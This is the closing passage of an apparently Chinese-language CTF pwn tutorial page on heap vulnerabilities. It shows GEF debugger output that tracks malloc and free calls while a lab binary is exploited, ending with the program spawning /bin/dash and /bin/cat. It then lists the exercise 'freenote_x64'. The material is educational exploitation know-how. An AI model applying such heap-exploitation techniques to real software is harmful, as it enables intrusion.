[+] Tracking malloc()
[+] Tracking free()
[+] Tracking realloc()
[+] Disabling hardware watchpoints (this may increase the latency)
[+] Dynamic breakpoints correctly setup, GEF will break execution if a possible vulnerabity is found.
[*] Note: The heap analysis slows down noticeably the execution.
gef➤ c
Continuing.
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - malloc(32)=0x804b018
[+] Heap-Analysis - malloc(8)=0x804b040
[+] Heap-Analysis - malloc(32)=0x804b050
[+] Heap-Analysis - free(0x804b018)
[+] Heap-Analysis - watching 0x804b018
[+] Heap-Analysis - free(0x804b008)
[+] Heap-Analysis - watching 0x804b008
[+] Heap-Analysis - free(0x804b050)
[+] Heap-Analysis - watching 0x804b050
[+] Heap-Analysis - free(0x804b040)
[+] Heap-Analysis - watching 0x804b040
[+] Heap-Analysis - malloc(8)=0x804b040
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - Cleaning up
[+] Heap-Analysis - Re-enabling hardware watchpoints
[New process 36248]
process 36248 is executing new program: /bin/dash
[New process 36249]
process 36249 is executing new program: /bin/cat
[Inferior 3 (process 36249) exited normally]
</code></pre>
<p>这里第一个输出了两次应该是gef工具的问题。</p>
<h1 id="题目"><a class="header" href="#题目">题目</a></h1>
<ul>
<li>freenote_x64</li>
</ul>
</main>
<nav class="nav-wrapper" aria-label="Page navigation">
<!-- Mobile navigation buttons -->
<a rel="prev" href="../../posts/ctf/pwn_stack_overflow.html" class="mobile-nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
<i class="fa fa-angle-left"></i>
</a>
<a rel="next prefetch" href="../../posts/ctf/pwn_format_string_vulnerability.html" class="mobile-nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
<i class="fa fa-angle-right"></i>
</a>
<div style="clear: both"></div>
</nav>
</div>
</div>
<nav class="nav-wide-wrapper" aria-label="Page navigation">
<a rel="prev" href="../../posts/ctf/pwn_stack_overflow.html" class="nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
<i class="fa fa-angle-left"></i>
</a>
<a rel="next prefetch" href="../../posts/ctf/pwn_format_string_vulnerability.html" class="nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
<i class="fa fa-angle-right"></i>
</a>
</nav>
</div>
<script>
window.playground_line_numbers = true;
</script>
<script>
window.playground_copyable = true;
</script>
<script src="../../ace.js"></script>
<script src="../../editor.js"></script>
<script src="../../mode-rust.js"></script>
<script src="../../theme-dawn.js"></script>
<script src="../../theme-tomorrow_night.js"></script>
<script src="../../elasticlunr.min.js"></script>
<script src="../../mark.min.js"></script>
<script src="../../searcher.js"></script>
<script src="../../clipboard.min.js"></script>
<script src="../../highlight.js"></script>
<script src="../../book.js"></script>
<!-- Custom JS scripts -->
<script src="../../src/js/custom.js"></script>
</div>
</body>
</html>